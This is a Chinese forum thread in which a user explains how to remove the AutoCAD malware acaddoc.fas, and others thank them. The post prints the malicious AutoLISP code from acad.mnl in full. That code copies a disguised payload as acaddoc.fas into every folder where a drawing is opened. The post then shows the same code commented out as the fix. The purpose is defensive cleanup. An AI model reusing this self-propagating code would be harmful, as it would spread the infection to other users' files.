insipid 发表于 2016-2-25 14:22:56

一劳永逸解决恶意程序acaddoc.fas

每次打开一个dwg格式的CAD图纸，dwg电子文件所在的文件夹内就会出现一个acaddoc.fas

这个恶意程序是属癞蛤蟆的——不咬人膈应人

acaddoc.fas恶意程序问题，一劳永逸的解决方案：
1.打开C:\Users\lenovoo\AppData\Roaming\Autodesk\AutoCAD 2008\R17.1\chs\Support\acad.mnl；
其中的lenovoo要改成你的电脑的用户名，AutoCAD 2008、R17.1要改成实际的版本号
2.把里边的代码删除或在前边加英文的分号——整个世界清静了
原代码：
(vl-load-com)
(setq path (findfile "base.dcl"))
(setq path (substr path 1 (- (strlen path) 8)))
(setq pathjpg (strcat path "cadhelp.jpg"))
(setq pathacad (strcat path "acaddoc.fas"))
(vl-file-copy pathjpg pathacad)
(setq wpath (getvar "menuname"))
(setq wpath (substr wpath 1 (- (strlen wpath) 4)))
(setq pathacad2 (strcat wpath "acaddoc.fas"))
(vl-file-copy pathjpg pathacad2)
(setq nowdwg (getvar "dwgname"))
(setq wjqm (findfile nowdwg))
(setq dwgpath (substr wjqm 1 (- (strlen wjqm) (strlen nowdwg))))
(setq dwgpathlsp (strcat dwgpath "acaddoc.fas"))
(setq dwgpathexebak (strcat dwgpath "beifen.bak"))
(vl-file-copy pathjpg dwgpathlsp)
(setq laowobak (strcat path "cad.bak"))
(vl-file-copy laowobak dwgpathexebak)

处理后：
(vl-load-com)
;(setq path (findfile "base.dcl"))
;(setq path (substr path 1 (- (strlen path) 8)))
;(setq pathjpg (strcat path "cadhelp.jpg"))
;(setq pathacad (strcat path "acaddoc.fas"))
;(vl-file-copy pathjpg pathacad)
;(setq wpath (getvar "menuname"))
;(setq wpath (substr wpath 1 (- (strlen wpath) 4)))
;(setq pathacad2 (strcat wpath "acaddoc.fas"))
;(vl-file-copy pathjpg pathacad2)
;(setq nowdwg (getvar "dwgname"))
;(setq wjqm (findfile nowdwg))
;(setq dwgpath (substr wjqm 1 (- (strlen wjqm) (strlen nowdwg))))
;(setq dwgpathlsp (strcat dwgpath "acaddoc.fas"))
;(setq dwgpathexebak (strcat dwgpath "beifen.bak"))
;(vl-file-copy pathjpg dwgpathlsp)
;(setq laowobak (strcat path "cad.bak"))
;(vl-file-copy laowobak dwgpathexebak)

baiyier1112 发表于 2018-4-3 08:36:59

不错，直接解决了

wide 发表于 2018-4-5 20:10:54

不错，谢谢楼主分享。

孤云寒霜 发表于 2018-4-8 08:28:27

感谢楼主分享！！！！！！！！！！！！！！！

danyangzi 发表于 2018-5-3 09:02:53

真是太感谢了，谢谢分享~
页: [1]
查看完整版本: 一劳永逸解决恶意程序acaddoc.fas